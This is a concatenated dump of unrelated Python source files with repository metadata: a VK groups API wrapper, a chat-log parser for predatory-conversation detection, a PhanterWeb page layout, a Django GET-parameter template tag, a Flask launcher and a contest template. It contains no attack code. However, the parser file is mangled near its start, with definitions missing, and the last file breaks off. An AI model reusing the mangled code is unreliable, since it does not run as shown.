self.get_method_name(self.get_callback_servers)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.GetCallbackServers(**r)\n\n async def get_callback_settings(\n self, group_id: int = None, server_id: int = None\n ):\n \"\"\"\n Return [vk.com/dev/callback_api|Callback API] notifications settings.\n :param group_id: Community ID.\n :param server_id: Server ID.\n\n\n \"\"\"\n method = self.get_method_name(self.get_callback_settings)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.GetCallbackSettings(**r)\n\n async def get_catalog(\n self, category_id: int = None, subcategory_id: int = None\n ):\n \"\"\"\n Return communities list for a catalog category.\n :param category_id: Category id received from [vk.com/dev/groups.getCatalogInfo|groups.getCatalogInfo].\n :param subcategory_id: Subcategory id received from [vk.com/dev/groups.getCatalogInfo|groups.getCatalogInfo].\n\n\n \"\"\"\n method = self.get_method_name(self.get_catalog)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.GetCatalog(**r)\n\n async def get_catalog_info(\n self, extended: bool = None, subcategories: bool = None\n ):\n \"\"\"\n Return categories list for communities catalog\n :param extended: 1 – to return communities count and three communities for preview. By default: 0.\n :param subcategories: 1 – to return subcategories info. By default: 0.\n\n\n \"\"\"\n method = self.get_method_name(self.get_catalog_info)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.GetCatalogInfo(**r)\n\n async def get_invited_users(\n self,\n group_id: int = None,\n offset: int = None,\n count: int = None,\n fields: list = None,\n name_case: str = None,\n ):\n \"\"\"\n Return invited users list of a community\n :param group_id: Group ID to return invited users for.\n :param offset: Offset needed to return a specific subset of results.\n :param count: Number of results to return.\n :param fields: List of additional fields to be returned. Available values: 'sex, bdate, city, country, photo_50, photo_100, photo_200_orig, photo_200, photo_400_orig, photo_max, photo_max_orig, online, online_mobile, lists, domain, has_mobile, contacts, connections, site, education, universities, schools, can_post, can_see_all_posts, can_see_audio, can_write_private_message, status, last_seen, common_count, relation, relatives, counters'.\n :param name_case: Case for declension of user name and surname. Possible values: *'nom' — nominative (default),, *'gen' — genitive,, *'dat' — dative,, *'acc' — accusative, , *'ins' — instrumental,, *'abl' — prepositional.\n\n\n \"\"\"\n method = self.get_method_name(self.get_invited_users)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.GetInvitedUsers(**r)\n\n async def get_invites(\n self, offset: int = None, count: int = None, extended: bool = None\n ):\n \"\"\"\n Return a list of invitations to join communities and events.\n :param offset: Offset needed to return a specific subset of invitations.\n :param count: Number of invitations to return.\n :param extended: '1' — to return additional [vk.com/dev/fields_groups|fields] for communities..\n\n\n \"\"\"\n method = self.get_method_name(self.get_invites)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.GetInvites(**r)\n\n async def get_long_poll_server(self, group_id: int = None):\n \"\"\"\n Return the data needed to query a Long Poll server for events\n :param group_id: Community ID\n\n\n \"\"\"\n method = self.get_method_name(self.get_long_poll_server)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.GetLongPollServer(**r)\n\n async def get_long_poll_settings(self, group_id: int = None):\n \"\"\"\n Return Long Poll notification settings\n :param group_id: Community ID.\n\n\n \"\"\"\n method = self.get_method_name(self.get_long_poll_settings)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.GetLongPollSettings(**r)\n\n async def get_members(\n self,\n group_id: str = None,\n sort: str = None,\n offset: int = None,\n count: int = None,\n fields: list = None,\n filter: str = None,\n ):\n \"\"\"\n Return a list of community members.\n :param group_id: ID or screen name of the community.\n :param sort: Sort order. Available values: 'id_asc', 'id_desc', 'time_asc', 'time_desc'. 'time_asc' and 'time_desc' are availavle only if the method is called by the group's 'moderator'.\n :param offset: Offset needed to return a specific subset of community members.\n :param count: Number of community members to return.\n :param fields: List of additional fields to be returned. Available values: 'sex, bdate, city, country, photo_50, photo_100, photo_200_orig, photo_200, photo_400_orig, photo_max, photo_max_orig, online, online_mobile, lists, domain, has_mobile, contacts, connections, site, education, universities, schools, can_post, can_see_all_posts, can_see_audio, can_write_private_message, status, last_seen, common_count, relation, relatives, counters'.\n :param filter: *'friends' – only friends in this community will be returned,, *'unsure' – only those who pressed 'I may attend' will be returned (if it's an event).\n\n\n \"\"\"\n method = self.get_method_name(self.get_members)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.GetMembers(**r)\n\n async def get_requests(\n self,\n group_id: int = None,\n offset: int = None,\n count: int = None,\n fields: list = None,\n ):\n \"\"\"\n Return a list of requests to the community.\n :param group_id: Community ID.\n :param offset: Offset needed to return a specific subset of results.\n :param count: Number of results to return.\n :param fields: Profile fields to return.\n\n\n \"\"\"\n method = self.get_method_name(self.get_requests)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.GetRequests(**r)\n\n async def get_settings(self, group_id: int = None):\n \"\"\"\n Return community settings.\n :param group_id: Community ID.\n\n\n \"\"\"\n method = self.get_method_name(self.get_settings)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.GetSettings(**r)\n\n async def get_token_permissions(self,):\n \"\"\"\n\n\n\n \"\"\"\n method = self.get_method_name(self.get_token_permissions)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.GetTokenPermissions(**r)\n\n async def invite(self, group_id: int = None, user_id: int = None):\n \"\"\"\n Allows to invite friends to the community.\n :param group_id: Community ID.\n :param user_id: User ID.\n\n\n \"\"\"\n method = self.get_method_name(self.invite)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.Invite(**r)\n\n async def is_member(\n self,\n group_id: str = None,\n user_id: int = None,\n user_ids: list = None,\n extended: bool = None,\n ):\n \"\"\"\n Return information specifying whether a user is a member of a community.\n :param group_id: ID or screen name of the community.\n :param user_id: User ID.\n :param user_ids: User IDs.\n :param extended: '1' — to return an extended response with additional fields. By default: '0'.\n\n\n \"\"\"\n method = self.get_method_name(self.is_member)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.IsMember(**r)\n\n async def join(self, group_id: int = None, not_sure: str = None):\n \"\"\"\n With this method you can join the group or public page, and also confirm your participation in an event.\n :param group_id: ID or screen name of the community.\n :param not_sure: Optional parameter which is taken into account when 'gid' belongs to the event: '1' — Perhaps I will attend, '0' — I will be there for sure (default), ,\n\n\n \"\"\"\n method = self.get_method_name(self.join)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.Join(**r)\n\n async def leave(self, group_id: int = None):\n \"\"\"\n With this method you can leave a group, public page, or event.\n :param group_id: ID or screen name of the community.\n\n\n \"\"\"\n method = self.get_method_name(self.leave)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.Leave(**r)\n\n async def remove_user(self, group_id: int = None, user_id: int = None):\n \"\"\"\n Remove a user from the community.\n :param group_id: Community ID.\n :param user_id: User ID.\n\n\n \"\"\"\n method = self.get_method_name(self.remove_user)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.RemoveUser(**r)\n\n async def reorder_link(\n self, group_id: int = None, link_id: int = None, after: int = None\n ):\n \"\"\"\n Allow to reorder links in the community.\n :param group_id: Community ID.\n :param link_id: Link ID.\n :param after: ID of the link after which to place the link with 'link_id'.\n\n\n \"\"\"\n method = self.get_method_name(self.reorder_link)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.ReorderLink(**r)\n\n async def search(\n self,\n q: str = None,\n type: str = None,\n country_id: int = None,\n city_id: int = None,\n future: bool = None,\n market: bool = None,\n sort: int = None,\n offset: int = None,\n count: int = None,\n ):\n \"\"\"\n Return a list of communities matching the search criteria.\n :param q: Search query string.\n :param type: Community type. Possible values: 'group, page, event.'\n :param country_id: Country ID.\n :param city_id: City ID. If this parameter is transmitted, country_id is ignored.\n :param future: '1' — to return only upcoming events. Works with the 'type' = 'event' only.\n :param market: '1' — to return communities with enabled market only.\n :param sort: Sort order. Possible values: *'0' — default sorting (similar the full version of the site),, *'1' — by growth speed,, *'2'— by the \"day attendance/members number\" ratio,, *'3' — by the \"Likes number/members number\" ratio,, *'4' — by the \"comments number/members number\" ratio,, *'5' — by the \"boards entries number/members number\" ratio.\n :param offset: Offset needed to return a specific subset of results.\n :param count: Number of communities to return. \"Note that you can not receive more than first thousand of results, regardless of 'count' and 'offset' values.\"\n\n\n \"\"\"\n method = self.get_method_name(self.search)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.Search(**r)\n\n async def set_callback_settings(\n self,\n group_id: int = None,\n server_id: int = None,\n api_version: str = None,\n message_new: bool = None,\n message_reply: bool = None,\n message_allow: bool = None,\n message_edit: bool = None,\n message_deny: bool = None,\n message_typing_state: bool = None,\n photo_new: bool = None,\n audio_new: bool = None,\n video_new: bool = None,\n wall_reply_new: bool = None,\n wall_reply_edit: bool = None,\n wall_reply_delete: bool = None,\n wall_reply_restore: bool = None,\n wall_post_new: bool = None,\n wall_repost: bool = None,\n board_post_new: bool = None,\n board_post_edit: bool = None,\n board_post_restore: bool = None,\n board_post_delete: bool = None,\n photo_comment_new: bool = None,\n photo_comment_edit: bool = None,\n photo_comment_delete: bool = None,\n photo_comment_restore: bool = None,\n video_comment_new: bool = None,\n video_comment_edit: bool = None,\n video_comment_delete: bool = None,\n video_comment_restore: bool = None,\n market_comment_new: bool = None,\n market_comment_edit: bool = None,\n market_comment_delete: bool = None,\n market_comment_restore: bool = None,\n poll_vote_new: bool = None,\n group_join: bool = None,\n group_leave: bool = None,\n group_change_settings: bool = None,\n group_change_photo: bool = None,\n group_officers_edit: bool = None,\n user_block: bool = None,\n user_unblock: bool = None,\n lead_forms_new: bool = None,\n ):\n \"\"\"\n Allow to set notifications settings for group.\n :param group_id: Community ID.\n :param server_id: Server ID.\n :param api_version:\n :param message_new: A new incoming message has been received ('0' — disabled, '1' — enabled).\n :param message_reply: A new outcoming message has been received ('0' — disabled, '1' — enabled).\n :param message_allow: Allowed messages notifications ('0' — disabled, '1' — enabled).\n :param message_edit:\n :param message_deny: Denied messages notifications ('0' — disabled, '1' — enabled).\n :param message_typing_state:\n :param photo_new: New photos notifications ('0' — disabled, '1' — enabled).\n :param audio_new: New audios notifications ('0' — disabled, '1' — enabled).\n :param video_new: New videos notifications ('0' — disabled, '1' — enabled).\n :param wall_reply_new: New wall replies notifications ('0' — disabled, '1' — enabled).\n :param wall_reply_edit: Wall replies edited notifications ('0' — disabled, '1' — enabled).\n :param wall_reply_delete: A wall comment has been deleted ('0' — disabled, '1' — enabled).\n :param wall_reply_restore: A wall comment has been restored ('0' — disabled, '1' — enabled).\n :param wall_post_new: New wall posts notifications ('0' — disabled, '1' — enabled).\n :param wall_repost: New wall posts notifications ('0' — disabled, '1' — enabled).\n :param board_post_new: New board posts notifications ('0' — disabled, '1' — enabled).\n :param board_post_edit: Board posts edited notifications ('0' — disabled, '1' — enabled).\n :param board_post_restore: Board posts restored notifications ('0' — disabled, '1' — enabled).\n :param board_post_delete: Board posts deleted notifications ('0' — disabled, '1' — enabled).\n :param photo_comment_new: New comment to photo notifications ('0' — disabled, '1' — enabled).\n :param photo_comment_edit: A photo comment has been edited ('0' — disabled, '1' — enabled).\n :param photo_comment_delete: A photo comment has been deleted ('0' — disabled, '1' — enabled).\n :param photo_comment_restore: A photo comment has been restored ('0' — disabled, '1' — enabled).\n :param video_comment_new: New comment to video notifications ('0' — disabled, '1' — enabled).\n :param video_comment_edit: A video comment has been edited ('0' — disabled, '1' — enabled).\n :param video_comment_delete: A video comment has been deleted ('0' — disabled, '1' — enabled).\n :param video_comment_restore: A video comment has been restored ('0' — disabled, '1' — enabled).\n :param market_comment_new: New comment to market item notifications ('0' — disabled, '1' — enabled).\n :param market_comment_edit: A market comment has been edited ('0' — disabled, '1' — enabled).\n :param market_comment_delete: A market comment has been deleted ('0' — disabled, '1' — enabled).\n :param market_comment_restore: A market comment has been restored ('0' — disabled, '1' — enabled).\n :param poll_vote_new: A vote in a public poll has been added ('0' — disabled, '1' — enabled).\n :param group_join: Joined community notifications ('0' — disabled, '1' — enabled).\n :param group_leave: Left community notifications ('0' — disabled, '1' — enabled).\n :param group_change_settings:\n :param group_change_photo:\n :param group_officers_edit:\n :param user_block: User added to community blacklist\n :param user_unblock: User removed from community blacklist\n :param lead_forms_new: New form in lead forms\n\n\n \"\"\"\n method = self.get_method_name(self.set_callback_settings)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.SetCallbackSettings(**r)\n\n async def set_long_poll_settings(\n self,\n group_id: int = None,\n enabled: bool = None,\n api_version: str = None,\n message_new: bool = None,\n message_reply: bool = None,\n message_allow: bool = None,\n message_deny: bool = None,\n message_edit: bool = None,\n message_typing_state: bool = None,\n photo_new: bool = None,\n audio_new: bool = None,\n video_new: bool = None,\n wall_reply_new: bool = None,\n wall_reply_edit: bool = None,\n wall_reply_delete: bool = None,\n wall_reply_restore: bool = None,\n wall_post_new: bool = None,\n wall_repost: bool = None,\n board_post_new: bool = None,\n board_post_edit: bool = None,\n board_post_restore: bool = None,\n board_post_delete: bool = None,\n photo_comment_new: bool = None,\n photo_comment_edit: bool = None,\n photo_comment_delete: bool = None,\n photo_comment_restore: bool = None,\n video_comment_new: bool = None,\n video_comment_edit: bool = None,\n video_comment_delete: bool = None,\n video_comment_restore: bool = None,\n market_comment_new: bool = None,\n market_comment_edit: bool = None,\n market_comment_delete: bool = None,\n market_comment_restore: bool = None,\n poll_vote_new: bool = None,\n group_join: bool = None,\n group_leave: bool = None,\n group_change_settings: bool = None,\n group_change_photo: bool = None,\n group_officers_edit: bool = None,\n user_block: bool = None,\n user_unblock: bool = None,\n ):\n \"\"\"\n Set Long Poll notification settings\n :param group_id: Community ID.\n :param enabled: Sets whether Long Poll is enabled ('0' — disabled, '1' — enabled).\n :param api_version:\n :param message_new: A new incoming message has been received ('0' — disabled, '1' — enabled).\n :param message_reply: A new outcoming message has been received ('0' — disabled, '1' — enabled).\n :param message_allow: Allowed messages notifications ('0' — disabled, '1' — enabled).\n :param message_deny: Denied messages notifications ('0' — disabled, '1' — enabled).\n :param message_edit: A message has been edited ('0' — disabled, '1' — enabled).\n :param message_typing_state:\n :param photo_new: New photos notifications ('0' — disabled, '1' — enabled).\n :param audio_new: New audios notifications ('0' — disabled, '1' — enabled).\n :param video_new: New videos notifications ('0' — disabled, '1' — enabled).\n :param wall_reply_new: New wall replies notifications ('0' — disabled, '1' — enabled).\n :param wall_reply_edit: Wall replies edited notifications ('0' — disabled, '1' — enabled).\n :param wall_reply_delete: A wall comment has been deleted ('0' — disabled, '1' — enabled).\n :param wall_reply_restore: A wall comment has been restored ('0' — disabled, '1' — enabled).\n :param wall_post_new: New wall posts notifications ('0' — disabled, '1' — enabled).\n :param wall_repost: New wall posts notifications ('0' — disabled, '1' — enabled).\n :param board_post_new: New board posts notifications ('0' — disabled, '1' — enabled).\n :param board_post_edit: Board posts edited notifications ('0' — disabled, '1' — enabled).\n :param board_post_restore: Board posts restored notifications ('0' — disabled, '1' — enabled).\n :param board_post_delete: Board posts deleted notifications ('0' — disabled, '1' — enabled).\n :param photo_comment_new: New comment to photo notifications ('0' — disabled, '1' — enabled).\n :param photo_comment_edit: A photo comment has been edited ('0' — disabled, '1' — enabled).\n :param photo_comment_delete: A photo comment has been deleted ('0' — disabled, '1' — enabled).\n :param photo_comment_restore: A photo comment has been restored ('0' — disabled, '1' — enabled).\n :param video_comment_new: New comment to video notifications ('0' — disabled, '1' — enabled).\n :param video_comment_edit: A video comment has been edited ('0' — disabled, '1' — enabled).\n :param video_comment_delete: A video comment has been deleted ('0' — disabled, '1' — enabled).\n :param video_comment_restore: A video comment has been restored ('0' — disabled, '1' — enabled).\n :param market_comment_new: New comment to market item notifications ('0' — disabled, '1' — enabled).\n :param market_comment_edit: A market comment has been edited ('0' — disabled, '1' — enabled).\n :param market_comment_delete: A market comment has been deleted ('0' — disabled, '1' — enabled).\n :param market_comment_restore: A market comment has been restored ('0' — disabled, '1' — enabled).\n :param poll_vote_new: A vote in a public poll has been added ('0' — disabled, '1' — enabled).\n :param group_join: Joined community notifications ('0' — disabled, '1' — enabled).\n :param group_leave: Left community notifications ('0' — disabled, '1' — enabled).\n :param group_change_settings:\n :param group_change_photo:\n :param group_officers_edit:\n :param user_block: User added to community blacklist\n :param user_unblock: User removed from community blacklist\n\n\n \"\"\"\n method = self.get_method_name(self.set_long_poll_settings)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.SetLongPollSettings(**r)\n\n async def unban(self, group_id: int = None, owner_id: int = None):\n \"\"\"\n\n :param group_id:\n :param owner_id:\n\n\n \"\"\"\n method = self.get_method_name(self.unban)\n params = self.create_params(locals())\n r = await self.api_request(method, params)\n return m.Unban(**r)\n","repo_name":"kesha1225/NeuronBot","sub_path":"vk/methods/groups.py","file_name":"groups.py","file_ext":"py","file_size_in_byte":43303,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"75"} +{"seq_id":"3962490305","text":"from re import split\n\nconversation_tag = ' min_line_count:\n result.append(current_convo)\n conversation_ids.append(current_id)\n binary_conversation_ids.append(is_predatory_conversation)\n i = i + 1\n\n current_convo = []\n current_id = line.split('\"')[1].split('\"')[0]\n is_predatory_conversation = 0\n\n if author_tag in line:\n author_id = line.split('>')[1].split('<')[0]\n if author_id in pred_ids:\n is_predatory_conversation = 1\n\n if text_tag in line:\n line = line.replace(text_tag, ' ')\n line = line.replace(end_text_tag, ' ')\n line = line.lower()\n line_count = line_count + 1\n current_convo.extend(filter(bool, (split(r'\\W+', line))))\n\n if i is 100:\n break\n\n if current_convo and line_count > min_line_count:\n result.append(current_convo)\n conversation_ids.append(current_id)\n binary_conversation_ids.append(is_predatory_conversation)\n\n return result, binary_conversation_ids, conversation_ids\n\ndef split_by_user_id(filename):\n result = {}\n current_id = None\n i = 0\n with open(filename, \"r\", encoding=enc) as ins:\n for line in ins:\n\n if author_tag in line:\n current_id = line.split('>')[1].split('<')[0]\n\n if text_tag in line:\n if current_id not in result:\n result[current_id] = []\n i = i+1\n\n line = line.replace(text_tag, ' ')\n line = line.replace(end_text_tag, ' ')\n line = line.lower()\n\n result[current_id].extend(filter(bool, (split(r'\\W+', line))))\n if i is 500:\n break;\n return list(result.values()), list(result.keys())\n\n\ndef split_by_user_pred_conv(filename, pred_conversations):\n result = {}\n current_id = None\n is_predatory_conversation = 0\n\n with open(filename, \"r\", encoding=enc) as ins:\n for line in ins:\n\n if conversation_tag in line:\n current_conversation_id = line.split('\"')[1].split('\"')[0]\n if current_conversation_id in pred_conversations:\n is_predatory_conversation = 1\n else:\n is_predatory_conversation = 0\n\n if author_tag in line:\n current_id = line.split('>')[1].split('<')[0]\n\n if text_tag in line:\n\n line = line.replace(text_tag, ' ')\n line = line.replace(end_text_tag, ' ')\n line = line.lower()\n if is_predatory_conversation is 1:\n if current_id not in result:\n result[current_id] = []\n result[current_id].extend(filter(bool, (split(r'\\W+', line))))\n\n return list(result.values()), list(result.keys())\n\n\ndef split_conversations(filename):\n result = []\n\n with open(filename, \"r\", encoding=enc) as ins:\n for line in ins:\n current_id = line.split()[0]\n if current_id not in result:\n result.append(current_id)\n\n return result\n\n\ndef split_ids(_, filename):\n result = []\n\n with open(filename, \"r\", encoding=enc) as ins:\n for line in ins:\n current_id = line.split('\\n')[0]\n if current_id not in result:\n result.append(current_id)\n\n return result\n\n\ndef predatory_conversations(filename, pred_file):\n pred_ids = split_ids(None, pred_file)\n result = []\n is_pred = 0\n current_id = None\n\n with open(filename, \"r\", encoding=enc) as ins:\n for line in ins:\n\n if conversation_tag in line:\n if is_pred:\n result.append(current_id)\n is_pred = 0\n current_id = line.split('\"')[1].split('\"')[0]\n\n if author_tag in line:\n current_author = line.split('>')[1].split('<')[0]\n if current_author in pred_ids:\n is_pred = 1\n return result\n","repo_name":"andra-maria/ChatCode","sub_path":"file_processing.py","file_name":"file_processing.py","file_ext":"py","file_size_in_byte":4812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43130211098","text":"# -*- coding: utf-8 -*-\nfrom . import app_version, app_name\nfrom phanterweb.helpers import (\n DIV,\n A,\n CONCATENATE,\n I,\n HTML,\n HEAD,\n BODY,\n META,\n LINK,\n TITLE,\n NAV,\n UL,\n LI,\n MAIN,\n FOOTER,\n)\n\nfrom ..views.extend_left_bar import html as MENU_PRINCIPAL_LEFT_BAR\nfrom ..views.extend_svg_logo import html as SVG_LOGO\nfrom ..views.extend_javascript_head import html as JAVASCRIPT_HEAD\nfrom ..views.extend_css_head import html as CSS_HEAD\nfrom ..views.extend_javascript_footer import html as JAVASCRIPT_FOOTER\nfrom .component_preloader_circle_small import html as LOAD_SMALL\nfrom .component_preloader_circle_big import html as LOAD_BIG\n\nFAVICONS = CONCATENATE(\n LINK(\n _rel=\"apple-touch-icon\",\n _sizes=\"180x180\",\n _href=\"/static-versioned/%s/favicons/apple-touch-icon.png\" %\n (app_version)\n ),\n LINK(\n _rel=\"icon\",\n _type=\"image/png\",\n _sizes=\"32x32\",\n _href=\"/static-versioned/%s/favicons/favicon-32x32.png\" %\n (app_version)\n ),\n LINK(\n _rel=\"icon\",\n _type=\"image/png\",\n _sizes=\"16x16\",\n _href=\"/static-versioned/%s/favicons/favicon-16x16.png\" %\n (app_version)\n ),\n LINK(\n _rel=\"manifest\",\n _href=\"/static-versioned/%s/favicons/manifest.json\" %\n (app_version)\n ),\n LINK(\n _rel=\"mask-icon\",\n _href=\"/static-versioned/%s/favicons/safari-pinned-tab.svg\" %\n (app_version),\n _color=\"#5bbad5\"\n )\n)\n\nhtml = HTML(\n HEAD(\n META(_charset=\"utf-8\"),\n META(\n _name=\"viewport\",\n _content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"\n ),\n TITLE(app_name),\n META(_name=\"aplication-name\", _content=\"Flask, Nginx, Cordova\"),\n META(_name=\"aplication-version\", _content=app_version),\n META(_name=\"msapplication-tap-highlight\", _content=\"no\"),\n CSS_HEAD,\n JAVASCRIPT_HEAD,\n FAVICONS\n ),\n BODY(\n DIV(_id=\"alert-top\"),\n NAV(\n DIV(\n DIV(\n DIV(\n I(\n \"menu\",\n _class=\"large material-icons\"\n ),\n _id=\"menu-button-main-page\",\n _class=\"main-menu-layout\"),\n _class='link'),\n DIV(\n DIV(\n SVG_LOGO,\n _class=\"logo-empresa-svg\"\n ),\n _class=\"brand-logo link\",\n _onclick=\"phanterwebpages.principal();\"\n ),\n UL(\n LI(\n DIV(\n DIV(\n LOAD_SMALL,\n _class=\"cmp-bar-user_and_menu-container\",\n _style=\"text-align:center; margin-top:7px;\"\n ),\n _id=\"echo-user-cmp-login\"\n )\n ),\n _id=\"nav-mobile\",\n _class=\"right hide-on-med-and-down\"\n ),\n _class=\"nav-wrapper\"\n ),\n _class=\"grey darken-4 main-nav\"\n ),\n DIV(\n DIV(\n DIV(\n DIV(\n DIV(\n DIV(\n LOAD_SMALL,\n _id=\"materialize-component-left-menu-user\"),\n _id=\"echo-user-cmp-login-menu\"),\n _id=\"options-top-main-bar-left\"),\n DIV(\n MENU_PRINCIPAL_LEFT_BAR,\n _id=\"options-middle-main-bar-left\"),\n DIV(\n _id=\"options-bottom-main-bar-left\"),\n _id=\"left-bar\",\n _class=\"left-bar\"),\n _class=\"left-bar-container\"),\n MAIN(\n DIV(\n LOAD_BIG,\n _style=\"width:100%;text-align: center;padding-top: 100px;\"\n ),\n _id=\"main-container\"\n ),\n _class=\"main-and-left-bar\"\n ),\n DIV(\n _id=\"modal_layout\",\n _class=\"modal\"),\n FOOTER(\n DIV(\n DIV(\n DIV(\n DIV(_class=\"phantergallery_progressbar-movement\"),\n _class=\"phantergallery_progressbar\"\n ),\n _class=\"main-progress-bar enabled\"\n ),\n _class=\"main-progress-bar-container\"\n ),\n DIV(\n DIV(_class=\"row\"),\n _class='container'\n ),\n DIV(\n DIV(\n \"Conexão Didata © 2011-2018\",\n A(\n \"PhanterJR\",\n _class=\"grey-text text-lighten-4 right\",\n _href=\"#!\"\n ),\n _class=\"container\"\n ),\n _class=\"footer-copyright grey darken-3\"\n ),\n _class=\"page-footer main-footer grey darken-4\"\n ),\n JAVASCRIPT_FOOTER,\n ),\n _lang=\"pt-BR\"\n)\n","repo_name":"PhanterJR/phanterwebapp","sub_path":"scaffold/page_layout.py","file_name":"page_layout.py","file_ext":"py","file_size_in_byte":5428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25889503446","text":"import re\nfrom django import template\nfrom django.http import QueryDict\nfrom django.utils.encoding import force_text\n\n\nregister = template.Library()\n\n\n@register.tag(name='update_GET')\ndef do_update_get(parser, token):\n try:\n args = token.split_contents()[1:]\n triples = list(_chunks(args, 3))\n if triples and len(triples[-1]) != 3:\n raise template.TemplateSyntaxError(\n \"%r tag requires arguments in groups of three (op, attr, value).\" % token.contents.split()[0]\n )\n ops = set([t[1] for t in triples])\n if not ops <= {'+=', '-=', '='}:\n raise template.TemplateSyntaxError(\n \"The only allowed operators are '+=', '-=' and '='. You have used %s\" % \", \".join(ops)\n )\n\n except ValueError:\n return UpdateGetNode()\n\n return UpdateGetNode(triples)\n\n\ndef _chunks(l, n):\n \"\"\"Yield successive n-sized chunks from l.\"\"\"\n for i in range(0, len(l), n):\n yield l[i:i+n]\n\n\nunencoded_ampersands_re = re.compile(r'&(?!(\\w+|#\\d+);)')\n\n\ndef fix_ampersands(value):\n \"\"\"Returns given HTML with all unencoded ampersands encoded correctly.\"\"\"\n return unencoded_ampersands_re.sub('&', force_text(value))\n\n\nclass UpdateGetNode(template.Node):\n def __init__(self, triples=None):\n if triples is None:\n triples = []\n self.triples = [(template.Variable(attr), op, template.Variable(val)) for attr, op, val in triples]\n\n def render(self, context):\n try:\n params = context.get('request').GET.copy()\n except AttributeError:\n params = QueryDict('', mutable=True)\n\n for attr, op, val in self.triples:\n actual_attr = attr.resolve(context)\n\n try:\n actual_val = val.resolve(context)\n except:\n if val.var == 'None':\n actual_val = None\n else:\n actual_val = val.var\n\n if actual_attr:\n if op == '=':\n if actual_val is None or actual_val == []:\n if actual_attr in params:\n del params[actual_attr]\n elif isinstance(actual_val, list):\n params.setlist(actual_attr, actual_val)\n else:\n params[actual_attr] = str(actual_val)\n elif op == '+=':\n if actual_val is None or actual_val == []:\n if params.has_key(actual_attr):\n del params[actual_attr]\n elif isinstance(actual_val, list):\n params.setlist(actual_attr, params.getlist(actual_attr) + list(actual_val))\n else:\n params.appendlist(actual_attr, str(actual_val))\n elif op == '-=':\n li = params.getlist(actual_attr)\n if isinstance(actual_val, list):\n for v in list(actual_val):\n if v in li:\n li.remove(v)\n params.setlist(actual_attr, li)\n else:\n actual_val = str(actual_val)\n if actual_val in li:\n li.remove(actual_val)\n params.setlist(actual_attr, li)\n\n return fix_ampersands(params.urlencode())\n","repo_name":"ixc/django-template-update-get","sub_path":"template_update_get/templatetags/template_update_get_tags.py","file_name":"template_update_get_tags.py","file_ext":"py","file_size_in_byte":3465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5938542714","text":"#!/usr/bin/env python\n\nfrom atst.app import make_app, make_config\n\nconfig = make_config()\napp = make_app(config)\n\nif __name__ == \"__main__\":\n port = int(config[\"PORT\"])\n app.run(port=port, extra_files=[\"translations.yaml\"])\n print(\"Listening on http://localhost:%i\" % port)\n","repo_name":"jimilinuxguy/atst","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27377657104","text":"# Problem: 排列\n# Contest: AcWing\n# URL: https://www.acwing.com/problem/content/5055/\n# Memory Limit: 256 MB\n# Time Limit: 1000 ms\n\nimport sys\nimport random\nfrom types import GeneratorType\nimport bisect\nimport io, os\nfrom bisect import *\nfrom collections import *\nfrom contextlib import redirect_stdout\nfrom itertools import *\nfrom array import *\nfrom functools import lru_cache, reduce\nfrom heapq import *\nfrom math import sqrt, gcd, inf, factorial\n\nif sys.version >= '3.8': # ACW没有comb\n from math import comb\n\nRI = lambda: map(int, sys.stdin.buffer.readline().split())\nRS = lambda: map(bytes.decode, sys.stdin.buffer.readline().strip().split())\nRILST = lambda: list(RI())\nDEBUG = lambda *x: sys.stderr.write(f'{str(x)}\\n')\n# print = lambda d: sys.stdout.write(str(d) + \"\\n\") # 打开可以快写,但是无法使用print(*ans,sep=' ')这种语法,需要print(' '.join(map(str, p))),确实会快。\n\nDIRS = [(0, 1), (1, 0), (0, -1), (-1, 0)] # 右下左上\nDIRS8 = [(0, 1), (1, 1), (1, 0), (1, -1), (0, -1), (-1, -1), (-1, 0),\n (-1, 1)] # →↘↓↙←↖↑↗\nRANDOM = random.randrange(2 ** 62)\nMOD = 10 ** 9 + 7\n# MOD = 998244353\nPROBLEM = \"\"\"\n\"\"\"\n\n\ndef lower_bound(lo: int, hi: int, key):\n \"\"\"由于3.10才能用key参数,因此自己实现一个。\n :param lo: 二分的左边界(闭区间)\n :param hi: 二分的右边界(闭区间)\n :param key: key(mid)判断当前枚举的mid是否应该划分到右半部分。\n :return: 右半部分第一个位置。若不存在True则返回hi+1。\n 虽然实现是开区间写法,但为了思考简单,接口以[左闭,右闭]方式放出。\n \"\"\"\n lo -= 1 # 开区间(lo,hi)\n hi += 1\n while lo + 1 < hi: # 区间不为��\n mid = (lo + hi) >> 1 # py不担心溢出,实测py自己不会优化除2,手动写右移\n if key(mid): # is_right则右边界向里移动,目标区间剩余(lo,mid)\n hi = mid\n else: # is_left则左边界向里移动,剩余(mid,hi)\n lo = mid\n return hi\n\n\ndef bootstrap(f, stack=[]):\n def wrappedfunc(*args, **kwargs):\n if stack:\n return f(*args, **kwargs)\n else:\n to = 